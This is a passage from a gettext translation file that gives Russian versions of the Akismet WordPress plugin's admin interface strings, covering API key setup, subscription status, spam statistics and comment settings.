href=\"%1$s\">Akismet</a> has protected your site from <a href=\"%2$s\">%3$s spam comment</a>." msgid_plural "<a href=\"%1$s\">Akismet</a> has protected your site from <a href=\"%2$s\">%3$s spam comments</a>." msgstr[0] "<a href=\"%1$s\">Akismet</a> защитил ваш сайт от <a href=\"%2$s\">%3$s спам-комментария</a>." msgstr[1] "<a href=\"%1$s\">Akismet</a> защитил ваш сайт от <a href=\"%2$s\">%3$s спам-комментариев</a>." msgstr[2] "<a href=\"%1$s\">Akismet</a> защитил ваш сайт от <a href=\"%2$s\">%3$s спам-комментариев</a>." #: class.akismet-admin.php:347 msgctxt "comments" msgid "Spam" msgstr "Спам" #: class.akismet-admin.php:277 msgid "Cheatin’ uh?" msgstr "Эй! Жульничаем?" #: class.akismet-admin.php:271 msgid "Akismet Support" msgstr "Поддержка Akismet" #: class.akismet-admin.php:270 msgid "Akismet FAQ" msgstr "ЧАВО по Akismet" #: class.akismet-admin.php:269 msgid "For more information:" msgstr "Дополнительная информация:" #: class.akismet-admin.php:260 msgid "The subscription status - active, cancelled or suspended" msgstr "Статус подписки — активна, отменена или приостановлена" #: class.akismet-admin.php:260 views/config.php:220 msgid "Status" msgstr "Статус" #: class.akismet-admin.php:259 msgid "The Akismet subscription plan" msgstr "План подписки Akismet" #: class.akismet-admin.php:259 views/config.php:213 msgid "Subscription Type" msgstr "Тип подписки" #: class.akismet-admin.php:256 views/config.php:205 msgid "Account" msgstr "Учётная запись" #: class.akismet-admin.php:248 msgid "Choose to either discard the worst spam automatically or to always put all spam in spam folder." msgstr "Выберите, отклонять ли очевидный спам автоматически, или всегда помещать весь спам в папку спама." #: class.akismet-admin.php:248 views/config.php:145 msgid "Strictness" msgstr "Режим" #: class.akismet-admin.php:247 msgid "Show the number of approved comments beside each comment author in the comments list page." msgstr "Отображать количество одобренных комментариев рядом с каждым автором в списке комментариев." #: class.akismet-admin.php:247 views/config.php:122 msgid "Comments" msgstr "Комментарии" #: class.akismet-admin.php:246 msgid "Enter/remove an API key." msgstr "Ввести/удалить API-ключ." #: class.akismet-admin.php:246 views/config.php:86 msgid "API Key" msgstr "API-ключ" #: class.akismet-admin.php:234 class.akismet-admin.php:245 #: class.akismet-admin.php:258 msgid "Akismet Configuration" msgstr "Настройки Akismet" #: class.akismet-admin.php:223 msgid "On this page, you are able to view stats on spam filtered on your site." msgstr "На этой странице вы можете просмотреть статистику спама, отфильтрованного на вашем сайте." #: class.akismet-admin.php:221 msgid "Akismet Stats" msgstr "Статистика Akismet" #: class.akismet-admin.php:209 msgid "Click the Use this Key button." msgstr "Нажмите кнопку «Подключить»." #: class.akismet-admin.php:208 msgid "Copy and paste the API key into the text field." msgstr "Скопируйте и вставьте ключ в текстовое поле." #: class.akismet-admin.php:206 msgid "If you already have an API key" msgstr "Если у вас уже есть API-ключ" #: class.akismet-admin.php:203 msgid "Enter an API Key" msgstr "Введите API-ключ" #: class.akismet-admin.php:196 msgid "Sign up for an account on %s to get an API Key." msgstr "Создайте учётную запись на %s, чтобы получить ключ." #: class.akismet-admin.php:195 msgid "You need to enter an API key to activate the Akismet service on your site." msgstr "Чтобы активировать сервис Akismet на вашем сайте, нужно ввести API-ключ." #: class.akismet-admin.php:192 msgid "New to Akismet" msgstr "Для новичков" #: class.akismet-admin.php:185 msgid "On this page, you are able to set up the Akismet plugin." msgstr "На этой странице вы можете установить плагин Akismet." #: class.akismet-admin.php:183 class.akismet-admin.php:194 #: class.akismet-admin.php:205 msgid "Akismet Setup" msgstr "Установка Akismet" #: class.akismet-admin.php:181 class.akismet-admin.php:219 #: class.akismet-admin.php:232 msgid "Overview" msgstr "Обзор" #: class.akismet-admin.php:150 msgid "Re-adding..." msgstr "Восстановление..." #: class.akismet-admin.php:149 msgid "(undo)" msgstr "(отмена)" #: class.akismet-admin.php:148 msgid "URL removed" msgstr "Ссылка удалена" #: class.akismet-admin.php:147 msgid "Removing..." msgstr "Удаление..." #: class.akismet-admin.php:146 msgid "Remove this URL" msgstr "Удалить эту ссылку" #: class.akismet-admin.php:87 class.akismet-admin.php:1259 msgid "Akismet" msgstr "Akismet" #: class.akismet-admin.php:107 class.akismet-admin.php:243 #: class.akismet-admin.php:712 views/config.php:75 msgid "Settings" msgstr "Параметры" #: class.akismet-admin.php:83 msgid "Comment History" msgstr "История комментария"
